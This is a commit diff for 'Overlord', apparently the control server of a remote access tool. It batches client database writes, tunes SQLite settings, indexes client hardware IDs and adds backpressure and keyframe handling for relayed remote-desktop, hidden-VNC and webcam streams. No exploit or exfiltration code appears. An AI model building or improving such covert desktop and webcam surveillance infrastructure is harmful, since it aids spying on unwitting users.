improve jpeg streaming + optimize the shit out of db read writes for large incoming clients and connected clients.
This commit is contained in:
@@ -4,7 +4,11 @@ import { metrics } from "./metrics";
|
||||
export const CLIENT_DB_SYNC_INTERVAL_MS = Number(process.env.OVERLORD_CLIENT_DB_SYNC_MS || 5000);
|
||||
export const CLIENT_DB_SYNC_BATCH_SIZE = Math.max(
|
||||
1,
|
||||
Number(process.env.OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE || 100),
|
||||
Number(process.env.OVERLORD_CLIENT_DB_SYNC_BATCH_SIZE || 500),
|
||||
);
|
||||
export const CLIENT_DB_SYNC_FLUSH_DELAY_MS = Math.max(
|
||||
1,
|
||||
Number(process.env.OVERLORD_CLIENT_DB_SYNC_FLUSH_DELAY_MS || 100),
|
||||
);
|
||||
|
||||
const lastClientDbSync = new Map<string, number>();
|
||||
@@ -27,6 +31,14 @@ export function queueClientDbUpdate(partial: ClientDbRow): void {
|
||||
});
|
||||
}
|
||||
|
||||
export function scheduleQueuedClientDbFlush(delayMs = CLIENT_DB_SYNC_FLUSH_DELAY_MS): void {
|
||||
if (pendingClientDbUpdates.size === 0 || flushSoonTimer) return;
|
||||
flushSoonTimer = setTimeout(() => {
|
||||
flushSoonTimer = null;
|
||||
flushQueuedClientDbUpdates();
|
||||
}, Math.max(1, Math.floor(delayMs)));
|
||||
}
|
||||
|
||||
export function flushQueuedClientDbUpdates(): void {
|
||||
if (pendingClientDbUpdates.size === 0) return;
|
||||
|
||||
@@ -43,11 +55,8 @@ export function flushQueuedClientDbUpdates(): void {
|
||||
}
|
||||
upsertClientRows(updates);
|
||||
|
||||
if (pendingClientDbUpdates.size > 0 && !flushSoonTimer) {
|
||||
flushSoonTimer = setTimeout(() => {
|
||||
flushSoonTimer = null;
|
||||
flushQueuedClientDbUpdates();
|
||||
}, 25);
|
||||
if (pendingClientDbUpdates.size > 0) {
|
||||
scheduleQueuedClientDbFlush(25);
|
||||
}
|
||||
metrics.recordInternalTask("client-db-flush", Date.now() - startedAt);
|
||||
}
|
||||
|
||||
@@ -13,4 +13,37 @@ const dataDir = ensureDataDir();
|
||||
export const dbPath = resolve(dataDir, "overlord.db");
|
||||
export const db: TypedDatabase = new Database(dbPath) as any;
|
||||
|
||||
function numberPragmaEnv(name: string, fallback: number, min: number): number {
|
||||
const raw = process.env[name];
|
||||
if (raw === undefined || raw === "") return fallback;
|
||||
const value = Number(raw);
|
||||
if (!Number.isFinite(value) || value < min) return fallback;
|
||||
return Math.floor(value);
|
||||
}
|
||||
|
||||
function synchronousPragmaEnv(): string {
|
||||
const raw = String(process.env.OVERLORD_SQLITE_SYNCHRONOUS || "NORMAL").toUpperCase();
|
||||
if (raw === "OFF" || raw === "NORMAL" || raw === "FULL" || raw === "EXTRA") {
|
||||
return raw;
|
||||
}
|
||||
return "NORMAL";
|
||||
}
|
||||
|
||||
function applyPragma(sql: string): void {
|
||||
try {
|
||||
db.exec(sql);
|
||||
} catch (err) {
|
||||
console.warn(`[db] Failed to apply ${sql}:`, err);
|
||||
}
|
||||
}
|
||||
|
||||
applyPragma("PRAGMA journal_mode = WAL");
|
||||
applyPragma(`PRAGMA synchronous = ${synchronousPragmaEnv()}`);
|
||||
applyPragma(`PRAGMA busy_timeout = ${numberPragmaEnv("OVERLORD_SQLITE_BUSY_TIMEOUT_MS", 5000, 0)}`);
|
||||
applyPragma("PRAGMA temp_store = MEMORY");
|
||||
applyPragma(`PRAGMA cache_size = ${numberPragmaEnv("OVERLORD_SQLITE_CACHE_SIZE_KB", 32768, 1024) * -1}`);
|
||||
applyPragma(`PRAGMA mmap_size = ${numberPragmaEnv("OVERLORD_SQLITE_MMAP_SIZE_BYTES", 268435456, 0)}`);
|
||||
applyPragma(`PRAGMA wal_autocheckpoint = ${numberPragmaEnv("OVERLORD_SQLITE_WAL_AUTOCHECKPOINT", 4000, 1)}`);
|
||||
applyPragma(`PRAGMA journal_size_limit = ${numberPragmaEnv("OVERLORD_SQLITE_JOURNAL_SIZE_LIMIT_BYTES", 67108864, 0)}`);
|
||||
|
||||
console.log(`[db] Using database at: ${dbPath}`);
|
||||
|
||||
@@ -100,6 +100,9 @@ db.run(
|
||||
db.run(
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`,
|
||||
);
|
||||
db.run(
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_hwid ON clients(hwid);`,
|
||||
);
|
||||
db.run(
|
||||
`CREATE INDEX IF NOT EXISTS idx_clients_key_fingerprint ON clients(key_fingerprint);`,
|
||||
);
|
||||
|
||||
@@ -18,7 +18,7 @@ import * as sessionManager from "../../sessions/sessionManager";
|
||||
import type { SocketData } from "../../sessions/types";
|
||||
import type { ClientInfo } from "../../types";
|
||||
import { clearClientSyncState, handleFrame, handleHello, handlePing, handlePong } from "../../wsHandlers";
|
||||
import { flushQueuedClientDbUpdates, queueClientDbUpdate } from "../../client-db-sync";
|
||||
import { queueClientDbUpdate, scheduleQueuedClientDbFlush } from "../../client-db-sync";
|
||||
import { getMaxPayloadLimit, getMessageByteLength, isAllowedClientMessageType } from "../../wsValidation";
|
||||
import { stopAllProxiesForClient } from "../socks5-proxy-manager";
|
||||
import { verifyBuildToken, isBuildBanned } from "../build-signing";
|
||||
@@ -668,7 +668,7 @@ export async function handleWebSocketMessage(
|
||||
}
|
||||
|
||||
await handleHello(infoObj, payload as Hello, ws, ip);
|
||||
flushQueuedClientDbUpdates();
|
||||
scheduleQueuedClientDbFlush();
|
||||
clientManager.addClient(infoObj.id, infoObj);
|
||||
|
||||
clearThumbnail(resolvedId);
|
||||
@@ -748,8 +748,9 @@ export async function handleWebSocketMessage(
|
||||
}
|
||||
}
|
||||
}
|
||||
handleFrame(client, payload);
|
||||
try { ws.send(encodeMessage({ type: "frame_ack" })); } catch {}
|
||||
if (handleFrame(client, payload)) {
|
||||
try { ws.send(encodeMessage({ type: "frame_ack" })); } catch {}
|
||||
}
|
||||
break;
|
||||
case "screenshot_result":
|
||||
deps.handleNotificationScreenshotResult(client.id, payload);
|
||||
|
||||
@@ -129,18 +129,28 @@ function getCaptureDllBytes(): Uint8Array | null {
|
||||
|
||||
const VIEWER_BACKPRESSURE_BYTES = 2 * 1024 * 1024; // 2 MB
|
||||
|
||||
type FrameBroadcastResult = {
|
||||
sent: boolean;
|
||||
dropped: boolean;
|
||||
viewers: number;
|
||||
};
|
||||
|
||||
function broadcastFrameToViewers(
|
||||
sessions: Iterable<{ viewer: ServerWebSocket<SocketData> }>,
|
||||
buf: Uint8Array,
|
||||
header?: any,
|
||||
): boolean {
|
||||
): FrameBroadcastResult {
|
||||
let sent = false;
|
||||
let dropped = false;
|
||||
let viewers = 0;
|
||||
const t0 = performance.now();
|
||||
const byteLen = buf.length;
|
||||
for (const session of sessions) {
|
||||
viewers += 1;
|
||||
try {
|
||||
const buffered = session.viewer.getBufferedAmount?.() ?? 0;
|
||||
if (buffered > VIEWER_BACKPRESSURE_BYTES) {
|
||||
dropped = true;
|
||||
continue;
|
||||
}
|
||||
session.viewer.send(buf);
|
||||
@@ -157,7 +167,7 @@ function broadcastFrameToViewers(
|
||||
rdSendStats.sendMs += elapsed;
|
||||
}
|
||||
logRdSend(header);
|
||||
return sent;
|
||||
return { sent, dropped, viewers };
|
||||
}
|
||||
|
||||
const rdSendStats = { lastLog: 0, frames: 0, sendMs: 0, bytes: 0 };
|
||||
@@ -734,8 +744,17 @@ function broadcastRemoteDesktopFrame(clientId: string, bytes: Uint8Array, header
|
||||
recordRemoteDesktopFrame(clientId, header, bytes);
|
||||
const buf = buildViewerFrameBuffer(bytes, header);
|
||||
const sessions = sessionManager.getRdSessionsForClient(clientId);
|
||||
const sent = broadcastFrameToViewers(sessions, buf, header);
|
||||
return sent;
|
||||
const result = broadcastFrameToViewers(sessions, buf, header);
|
||||
if (result.dropped) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (target) {
|
||||
sendDesktopCommand(target, "desktop_request_keyframe", {
|
||||
reason: "viewer_backpressure",
|
||||
format: String(header?.format || ""),
|
||||
});
|
||||
}
|
||||
}
|
||||
return result.sent || result.viewers === 0;
|
||||
}
|
||||
|
||||
(globalThis as any).__rdBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
@@ -1174,6 +1193,13 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
|
||||
}
|
||||
break;
|
||||
}
|
||||
case "hvnc_request_keyframe":
|
||||
if (state.isStreaming) {
|
||||
sendHVNCCommand(target, "hvnc_request_keyframe", {
|
||||
reason: String((payload as any).reason || "viewer_request"),
|
||||
});
|
||||
}
|
||||
break;
|
||||
case "hvnc_set_fps": {
|
||||
const newMaxFps = clampDesktopFps((payload as any).fps);
|
||||
if (state.maxFps !== newMaxFps) {
|
||||
@@ -1375,12 +1401,23 @@ export function sendHVNCCommand(target: ClientInfo, commandType: string, payload
|
||||
}
|
||||
hvncStreamingState.set(clientId, state);
|
||||
const buf = buildViewerFrameBuffer(bytes, header);
|
||||
return broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
|
||||
const result = broadcastFrameToViewers(sessionManager.getHvncSessionsForClient(clientId), buf, header);
|
||||
if (result.dropped) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (target) {
|
||||
sendHVNCCommand(target, "hvnc_request_keyframe", {
|
||||
reason: "viewer_backpressure",
|
||||
format: String(header?.format || ""),
|
||||
});
|
||||
}
|
||||
}
|
||||
return result.sent || result.viewers === 0;
|
||||
};
|
||||
|
||||
(globalThis as any).__webcamBroadcast = (clientId: string, bytes: Uint8Array, header?: any): boolean => {
|
||||
const buf = buildViewerFrameBuffer(bytes, header);
|
||||
return broadcastFrameToViewers(sessionManager.getWebcamSessionsForClient(clientId), buf, header);
|
||||
const result = broadcastFrameToViewers(sessionManager.getWebcamSessionsForClient(clientId), buf, header);
|
||||
return result.sent || result.viewers === 0;
|
||||
};
|
||||
|
||||
export function handleConsoleViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
|
||||
@@ -231,7 +231,7 @@ export function handlePong(info: ClientInfo, payload: WireMessage) {
|
||||
}
|
||||
}
|
||||
|
||||
export function handleFrame(info: ClientInfo, payload: any) {
|
||||
export function handleFrame(info: ClientInfo, payload: any): boolean {
|
||||
const bytes = payload.data as unknown as Uint8Array;
|
||||
const header = (payload as any).header;
|
||||
const allowedFormats = ["jpeg", "jpg", "webp"];
|
||||
@@ -240,28 +240,19 @@ export function handleFrame(info: ClientInfo, payload: any) {
|
||||
|
||||
metrics.recordBytesReceived(bytes.length);
|
||||
|
||||
let sentToViewers = false;
|
||||
let handledByViewerRelay = false;
|
||||
try {
|
||||
const globalAny: any = globalThis as any;
|
||||
if (header?.webcam) {
|
||||
if (globalAny.__webcamBroadcast) {
|
||||
sentToViewers = globalAny.__webcamBroadcast(info.id, bytes, header);
|
||||
}
|
||||
if (sentToViewers) {
|
||||
return;
|
||||
handledByViewerRelay = globalAny.__webcamBroadcast(info.id, bytes, header);
|
||||
}
|
||||
} else if (header?.hvnc) {
|
||||
if (globalAny.__hvncBroadcast) {
|
||||
sentToViewers = globalAny.__hvncBroadcast(info.id, bytes, header);
|
||||
}
|
||||
if (sentToViewers) {
|
||||
return;
|
||||
handledByViewerRelay = globalAny.__hvncBroadcast(info.id, bytes, header);
|
||||
}
|
||||
} else if (globalAny.__rdBroadcast) {
|
||||
sentToViewers = globalAny.__rdBroadcast(info.id, bytes, header);
|
||||
if (sentToViewers) {
|
||||
return;
|
||||
}
|
||||
handledByViewerRelay = globalAny.__rdBroadcast(info.id, bytes, header);
|
||||
}
|
||||
} catch {}
|
||||
|
||||
@@ -280,4 +271,5 @@ export function handleFrame(info: ClientInfo, payload: any) {
|
||||
queueClientDbUpdate({ id: info.id, lastSeen: now, online: 1, isAdmin: info.isAdmin });
|
||||
}
|
||||
}
|
||||
return handledByViewerRelay || safeFormat !== "";
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user